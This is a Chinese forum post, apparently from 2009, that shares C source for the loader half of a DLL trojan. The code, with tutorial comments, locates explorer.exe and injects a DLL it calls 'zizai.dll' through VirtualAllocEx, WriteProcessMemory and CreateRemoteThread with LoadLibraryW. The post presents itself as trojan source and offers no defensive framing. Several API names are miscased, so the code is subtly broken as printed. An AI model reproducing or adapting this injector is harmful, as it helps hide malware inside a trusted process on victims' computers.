找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 785|回复: 0

一个嵌入式dll木马源码

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-7-2 08:05:28 | 显示全部楼层 |阅读模式 来自 山东省威海市
一个嵌入式dll木马源码
一个嵌入式dll木马源码2009-06-08 03:39//A.exe
#include <stdio.h>
#include <winsock2.h>
#include <tlhelp32.h>
#pragma comment (lib,"Advapi32.lib")
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)//函数头,呵呵,晕!
{
//我们说了要第一步要调用VirtualAllocEx()函数在目标进程中分配内存
//那么我们就得找到目标进程的PID,我们假设把目标进程锁定为explorer.exe
//下面是获取explorer.exe的PID
DWORD pid; //声明PID
HANDLE hSnapshot = NULL;
hSnapshot=createToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
PROCESSENTRY32 a;
a.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&a);
do
{
if(strcmp(a.szExeFile,"Explorer.exe")==0)
{
pid = a.th32ProcessID;//匹配,找到
break;
}
}
while(Process32Next(hSnapshot,&a)==TRUE);
CloseHandle (hSnapshot);//,找到了PID,善后
PWSTR pszLibFileRemote = NULL;//待会要作为传递的参数,(实际上是要存放我
//的DLL木马的空间)
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
//下面这个OpenProcess() 来打开目标进程的,参数的设置你可以理解成在问系统要对目标进程的权限
hRemoteProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |PROCESS_create_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | // 允许远程VM操作
PROCESS_VM_WRITE, // 允许远程VM写操作
FALSE, pid);
char CurPath[256]; //用来存放当前路径
GetCurrentDirectory(256,CurPath);//获得当前的路径
strcat(CurPath,"\\zizai.dll"); //让zizai.dll的路径放入CurPath
//计算DLL路径名需要的内存空间,参考了JIURL的计算方法,强烈致谢
//SHOTGUN计算方法:int changdu = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
int changdu = (strlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
//调用VirtualAllocEx()函数在目标进程中分配内存
//注意是在远程进程hRemoteProcess的内存空间申请
pszLibFileRemote = (PWSTR)VirtualAllocEx(hRemoteProcess, NULL, changdu, MEM_COMMIT, PAGE_READWRITE);

//用WriteProcessMemory()函数向申请的内存中写入要注入zizai.dll的路径和名称,也就是参数
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) wCurPath, changdu, NULL);
//远程进程 //具体空间 //路径 //长度
//计算LoadLibraryW的入口地址,也就是远程线程的地址pfndizhi,用它来启动我们的DLL木马
PTHREAD_START_ROUTINE pfndizhi = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");//这里怎么会用到Kernel32呢?
//是因为LoadLibraryW函数是在kernel32.dll中定义的,就是用来启动DLL文件
//它只有一个参数,就是DLL文件的路径名(是木马DLL的绝对路径)

//利用createRemoteThread()在远程进程中创建一个线程,这个线程执行LoadLibraryW
//就实现了通过远程线程调用用户的DLL文件
//要把LoadLibraryW的入口地址代入
hRemoteThread = createRemoteThread(hRemoteProcess, NULL, 0, pfndizhi, pszLibFileRemote,0, NULL);
return 0;
}
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-26 16:46 , Processed in 0.137241 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表